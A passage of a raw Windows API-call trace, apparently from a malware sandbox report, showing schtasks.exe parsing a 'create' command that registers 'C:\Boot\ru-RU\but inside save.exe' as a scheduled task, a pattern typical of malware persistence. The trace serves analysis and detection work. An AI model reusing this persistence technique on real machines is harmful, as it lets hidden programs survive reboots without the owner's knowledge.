(lpString="create") returned 6 [0131.406] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.406] lstrlenW (lpString="tr") returned 2 [0131.406] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.406] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|create|") returned 8 [0131.406] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tr|") returned 4 [0131.406] lstrlenW (lpString="|create|") returned 8 [0131.406] lstrlenW (lpString="|tr|") returned 4 [0131.406] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0131.406] SetLastError (dwErrCode=0x490) [0131.406] lstrlenW (lpString="delete") returned 6 [0131.406] lstrlenW (lpString="delete") returned 6 [0131.406] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.406] lstrlenW (lpString="tr") returned 2 [0131.406] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.406] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|delete|") returned 8 [0131.406] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tr|") returned 4 [0131.406] lstrlenW (lpString="|delete|") returned 8 [0131.406] lstrlenW (lpString="|tr|") returned 4 [0131.406] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0131.406] SetLastError (dwErrCode=0x490) [0131.406] lstrlenW (lpString="query") returned 5 [0131.406] lstrlenW (lpString="query") returned 5 [0131.406] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.406] lstrlenW (lpString="tr") returned 2 [0131.492] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.493] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|query|") returned 7 [0131.493] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tr|") returned 4 [0131.493] lstrlenW (lpString="|query|") returned 7 [0131.493] lstrlenW (lpString="|tr|") returned 4 [0131.493] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0131.493] SetLastError (dwErrCode=0x490) [0131.493] lstrlenW (lpString="change") returned 6 [0131.493] lstrlenW (lpString="change") returned 6 [0131.493] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.493] lstrlenW (lpString="tr") returned 2 [0131.493] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.493] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|change|") returned 8 [0131.493] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tr|") returned 4 [0131.493] lstrlenW (lpString="|change|") returned 8 [0131.493] lstrlenW (lpString="|tr|") returned 4 [0131.493] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0131.494] SetLastError (dwErrCode=0x490) [0131.494] lstrlenW (lpString="run") returned 3 [0131.494] lstrlenW (lpString="run") returned 3 [0131.494] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.494] lstrlenW (lpString="tr") returned 2 [0131.494] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.494] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|run|") returned 5 [0131.494] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tr|") returned 4 [0131.494] lstrlenW (lpString="|run|") returned 5 [0131.494] lstrlenW (lpString="|tr|") returned 4 [0131.494] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0131.494] SetLastError (dwErrCode=0x490) [0131.494] lstrlenW (lpString="end") returned 3 [0131.494] lstrlenW (lpString="end") returned 3 [0131.494] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.494] lstrlenW (lpString="tr") returned 2 [0131.494] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.494] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|end|") returned 5 [0131.495] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tr|") returned 4 [0131.495] lstrlenW (lpString="|end|") returned 5 [0131.495] lstrlenW (lpString="|tr|") returned 4 [0131.495] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0131.495] SetLastError (dwErrCode=0x490) [0131.495] lstrlenW (lpString="showsid") returned 7 [0131.495] lstrlenW (lpString="showsid") returned 7 [0131.495] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.495] lstrlenW (lpString="tr") returned 2 [0131.495] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.495] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|showsid|") returned 9 [0131.495] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tr|") returned 4 [0131.495] lstrlenW (lpString="|showsid|") returned 9 [0131.495] lstrlenW (lpString="|tr|") returned 4 [0131.495] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0131.495] SetLastError (dwErrCode=0x490) [0131.495] SetLastError (dwErrCode=0x490) [0131.495] SetLastError (dwErrCode=0x0) [0131.495] lstrlenW (lpString="/tr") returned 3 [0131.496] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0131.496] SetLastError (dwErrCode=0x490) [0131.496] SetLastError (dwErrCode=0x0) [0131.496] lstrlenW (lpString="/tr") returned 3 [0131.496] GetProcessHeap () returned 0x210000 [0131.496] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x8) returned 0x22dcd0 [0131.496] GetProcessHeap () returned 0x210000 [0131.496] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cd20 [0131.496] SetLastError (dwErrCode=0x0) [0131.496] SetLastError (dwErrCode=0x0) [0131.496] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.496] lstrlenW (lpString="-/") returned 2 [0131.496] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.496] SetLastError (dwErrCode=0x490) [0131.496] SetLastError (dwErrCode=0x490) [0131.496] SetLastError (dwErrCode=0x0) [0131.496] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.497] StrChrIW (lpStart="'C:\\Boot\\ru-RU\\but inside save.exe'", wMatch=0x3a) returned=":\\Boot\\ru-RU\\but inside save.exe'" [0131.497] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.497] GetProcessHeap () returned 0x210000 [0131.497] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22d4e0 [0131.497] _memicmp (_Buf1=0x22d4e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.497] GetProcessHeap () returned 0x210000 [0131.497] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xe) returned 0x22d500 [0131.497] GetProcessHeap () returned 0x210000 [0131.497] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22d520 [0131.497] _memicmp (_Buf1=0x22d520, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.497] GetProcessHeap () returned 0x210000 [0131.497] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x4a) returned 0x22dcf0 [0131.497] SetLastError (dwErrCode=0x7a) [0131.497] SetLastError (dwErrCode=0x0) [0131.497] SetLastError (dwErrCode=0x0) [0131.497] lstrlenW (lpString="'C") returned 2 [0131.497] lstrlenW (lpString="-/") returned 2 [0131.497] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.497] SetLastError (dwErrCode=0x490) [0131.497] SetLastError (dwErrCode=0x490) [0131.497] SetLastError (dwErrCode=0x0) [0131.497] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.497] GetProcessHeap () returned 0x210000 [0131.498] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x48) returned 0x229310 [0131.498] GetProcessHeap () returned 0x210000 [0131.498] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cd50 [0131.498] SetLastError (dwErrCode=0x0) [0131.498] SetLastError (dwErrCode=0x0) [0131.498] lstrlenW (lpString="/f") returned 2 [0131.498] lstrlenW (lpString="-/") returned 2 [0131.498] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.498] lstrlenW (lpString="?") returned 1 [0131.498] lstrlenW (lpString="?") returned 1 [0131.498] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.498] lstrlenW (lpString="f") returned 1 [0131.498] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.498] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|?|") returned 3 [0131.498] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|f|") returned 3 [0131.498] lstrlenW (lpString="|?|") returned 3 [0131.498] lstrlenW (lpString="|f|") returned 3 [0131.498] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0131.498] SetLastError (dwErrCode=0x490) [0131.498] lstrlenW (lpString="create") returned 6 [0131.498] lstrlenW (lpString="create") returned 6 [0131.499] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.499] lstrlenW (lpString="f") returned 1 [0131.499] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.499] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|create|") returned 8 [0131.499] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|f|") returned 3 [0131.499] lstrlenW (lpString="|create|") returned 8 [0131.499] lstrlenW (lpString="|f|") returned 3 [0131.499] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0131.499] SetLastError (dwErrCode=0x490) [0131.499] lstrlenW (lpString="delete") returned 6 [0131.499] lstrlenW (lpString="delete") returned 6 [0131.499] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.499] lstrlenW (lpString="f") returned 1 [0131.499] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.499] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|delete|") returned 8 [0131.499] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|f|") returned 3 [0131.500] lstrlenW (lpString="|delete|") returned 8 [0131.500] lstrlenW (lpString="|f|") returned 3 [0131.500] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0131.500] SetLastError (dwErrCode=0x490) [0131.500] lstrlenW (lpString="query") returned 5 [0131.500] lstrlenW (lpString="query") returned 5 [0131.500] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.500] lstrlenW (lpString="f") returned 1 [0131.500] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.500] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|query|") returned 7 [0131.500] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|f|") returned 3 [0131.500] lstrlenW (lpString="|query|") returned 7 [0131.500] lstrlenW (lpString="|f|") returned 3 [0131.500] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0131.500] SetLastError (dwErrCode=0x490) [0131.500] lstrlenW (lpString="change") returned 6 [0131.500] lstrlenW (lpString="change") returned 6 [0131.500] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.500] lstrlenW (lpString="f") returned 1 [0131.501] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.501] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|change|") returned 8 [0131.501] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|f|") returned 3 [0131.501] lstrlenW (lpString="|change|") returned 8 [0131.501] lstrlenW (lpString="|f|") returned 3 [0131.501] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0131.501] SetLastError (dwErrCode=0x490) [0131.501] lstrlenW (lpString="run") returned 3 [0131.501] lstrlenW (lpString="run") returned 3 [0131.501] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.501] lstrlenW (lpString="f") returned 1 [0131.501] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.501] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|run|") returned 5 [0131.501] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|f|") returned 3 [0131.501] lstrlenW (lpString="|run|") returned 5 [0131.501] lstrlenW (lpString="|f|") returned 3 [0131.501] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0131.501] SetLastError (dwErrCode=0x490) [0131.501] lstrlenW (lpString="end") returned 3 [0131.501] lstrlenW (lpString="end") returned 3 [0131.501] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.501] lstrlenW (lpString="f") returned 1 [0131.501] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.501] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|end|") returned 5 [0131.501] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|f|") returned 3 [0131.502] lstrlenW (lpString="|end|") returned 5 [0131.502] lstrlenW (lpString="|f|") returned 3 [0131.502] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0131.502] SetLastError (dwErrCode=0x490) [0131.502] lstrlenW (lpString="showsid") returned 7 [0131.502] lstrlenW (lpString="showsid") returned 7 [0131.502] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.502] lstrlenW (lpString="f") returned 1 [0131.502] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.502] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|showsid|") returned 9 [0131.502] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|f|") returned 3 [0131.502] lstrlenW (lpString="|showsid|") returned 9 [0131.502] lstrlenW (lpString="|f|") returned 3 [0131.502] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0131.502] SetLastError (dwErrCode=0x490) [0131.502] SetLastError (dwErrCode=0x490) [0131.502] SetLastError (dwErrCode=0x0) [0131.502] lstrlenW (lpString="/f") returned 2 [0131.502] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0131.502] SetLastError (dwErrCode=0x490) [0131.502] SetLastError (dwErrCode=0x0) [0131.502] lstrlenW (lpString="/f") returned 2 [0131.502] GetProcessHeap () returned 0x210000 [0131.502] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x6) returned 0x22dd50 [0131.502] GetProcessHeap () returned 0x210000 [0131.502] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cd80 [0131.502] SetLastError (dwErrCode=0x0) [0131.502] GetProcessHeap () returned 0x210000 [0131.503] GetProcessHeap () returned 0x210000 [0131.503] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1c0) returned 1 [0131.503] GetProcessHeap () returned 0x210000 [0131.503] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22c1c0) returned 0x8 [0131.503] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1c0 | out: hHeap=0x210000) returned 1 [0131.503] GetProcessHeap () returned 0x210000 [0131.503] GetProcessHeap () returned 0x210000 [0131.503] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cbd0) returned 1 [0131.503] GetProcessHeap () returned 0x210000 [0131.503] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cbd0) returned 0x20 [0131.503] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cbd0 | out: hHeap=0x210000) returned 1 [0131.503] GetProcessHeap () returned 0x210000 [0131.503] GetProcessHeap () returned 0x210000 [0131.503] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc00) returned 1 [0131.503] GetProcessHeap () returned 0x210000 [0131.503] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cc00) returned 0x22 [0131.504] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc00 | out: hHeap=0x210000) returned 1 [0131.504] GetProcessHeap () returned 0x210000 [0131.504] GetProcessHeap () returned 0x210000 [0131.504] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc30) returned 1 [0131.504] GetProcessHeap () returned 0x210000 [0131.504] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cc30) returned 0x20 [0131.504] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc30 | out: hHeap=0x210000) returned 1 [0131.504] GetProcessHeap () returned 0x210000 [0131.504] GetProcessHeap () returned 0x210000 [0131.504] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c250) returned 1 [0131.504] GetProcessHeap () returned 0x210000 [0131.504] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22c250) returned 0x8 [0131.504] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22c250 | out: hHeap=0x210000) returned 1 [0131.504] GetProcessHeap () returned 0x210000 [0131.505] GetProcessHeap () returned 0x210000 [0131.505] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc60) returned 1 [0131.505] GetProcessHeap () returned 0x210000 [0131.505] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cc60) returned 0x20 [0131.505] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc60 | out: hHeap=0x210000) returned 1 [0131.505] GetProcessHeap () returned 0x210000 [0131.505] GetProcessHeap () returned 0x210000 [0131.505] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d4c0) returned 1 [0131.505] GetProcessHeap () returned 0x210000 [0131.505] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d4c0) returned 0xe [0131.505] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d4c0 | out: hHeap=0x210000) returned 1 [0131.505] GetProcessHeap () returned 0x210000 [0131.505] GetProcessHeap () returned 0x210000 [0131.505] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc90) returned 1 [0131.505] GetProcessHeap () returned 0x210000 [0131.505] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cc90) returned 0x20 [0131.506] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cc90 | out: hHeap=0x210000) returned 1 [0131.506] GetProcessHeap () returned 0x210000 [0131.506] GetProcessHeap () returned 0x210000 [0131.506] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22dc90) returned 1 [0131.506] GetProcessHeap () returned 0x210000 [0131.506] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22dc90) returned 0x8 [0131.506] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22dc90 | out: hHeap=0x210000) returned 1 [0131.506] GetProcessHeap () returned 0x210000 [0131.506] GetProcessHeap () returned 0x210000 [0131.506] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ccc0) returned 1 [0131.506] GetProcessHeap () returned 0x210000 [0131.506] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ccc0) returned 0x20 [0131.507] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ccc0 | out: hHeap=0x210000) returned 1 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22dcb0) returned 1 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22dcb0) returned 0x4 [0131.507] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22dcb0 | out: hHeap=0x210000) returned 1 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ccf0) returned 1 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ccf0) returned 0x20 [0131.507] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ccf0 | out: hHeap=0x210000) returned 1 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22dcd0) returned 1 [0131.507] GetProcessHeap () returned 0x210000 [0131.507] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22dcd0) returned 0x8 [0131.508] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22dcd0 | out: hHeap=0x210000) returned 1 [0131.508] GetProcessHeap () returned 0x210000 [0131.508] GetProcessHeap () returned 0x210000 [0131.508] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd20) returned 1 [0131.508] GetProcessHeap () returned 0x210000 [0131.508] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cd20) returned 0x20 [0131.508] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd20 | out: hHeap=0x210000) returned 1 [0131.508] GetProcessHeap () returned 0x210000 [0131.508] GetProcessHeap () returned 0x210000 [0131.508] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x229310) returned 1 [0131.508] GetProcessHeap () returned 0x210000 [0131.508] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x229310) returned 0x48 [0131.508] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x229310 | out: hHeap=0x210000) returned 1 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd50) returned 1 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cd50) returned 0x20 [0131.509] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd50 | out: hHeap=0x210000) returned 1 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22dd50) returned 1 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22dd50) returned 0x6 [0131.509] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22dd50 | out: hHeap=0x210000) returned 1 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd80) returned 1 [0131.509] GetProcessHeap () returned 0x210000 [0131.509] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cd80) returned 0x20 [0131.510] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd80 | out: hHeap=0x210000) returned 1 [0131.510] GetProcessHeap () returned 0x210000 [0131.510] GetProcessHeap () returned 0x210000 [0131.510] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22b990) returned 1 [0131.510] GetProcessHeap () returned 0x210000 [0131.510] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22b990) returned 0x18 [0131.510] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22b990 | out: hHeap=0x210000) returned 1 [0131.510] SetLastError (dwErrCode=0x0) [0131.510] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0131.510] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0131.510] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0131.510] VerifyVersionInfoW (in: lpVersionInformation=0xdc150, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdc150) returned 1 [0131.511] SetLastError (dwErrCode=0x0) [0131.511] lstrlenW (lpString="create") returned 6 [0131.511] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0131.511] SetLastError (dwErrCode=0x490) [0131.511] SetLastError (dwErrCode=0x0) [0131.511] lstrlenW (lpString="create") returned 6 [0131.511] GetProcessHeap () returned 0x210000 [0131.511] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cd80 [0131.511] GetProcessHeap () returned 0x210000 [0131.511] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22d4c0 [0131.511] _memicmp (_Buf1=0x22d4c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.511] GetProcessHeap () returned 0x210000 [0131.511] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x16) returned 0x22d540 [0131.511] SetLastError (dwErrCode=0x0) [0131.511] _memicmp (_Buf1=0x22ba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.511] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x22bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0131.511] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0131.511] GetProcessHeap () returned 0x210000 [0131.512] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x74e) returned 0x22dd50 [0131.512] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x22dd50 | out: lpData=0x22dd50) returned 1 [0131.512] VerQueryValueW (in: pBlock=0x22dd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdc238, puLen=0xdc2a0 | out: lplpBuffer=0xdc238*=0x22e0ec, puLen=0xdc2a0) returned 1 [0131.512] _memicmp (_Buf1=0x22ba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.512] _vsnwprintf (in: _Buffer=0x22bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdc218 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0131.512] VerQueryValueW (in: pBlock=0x22dd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", 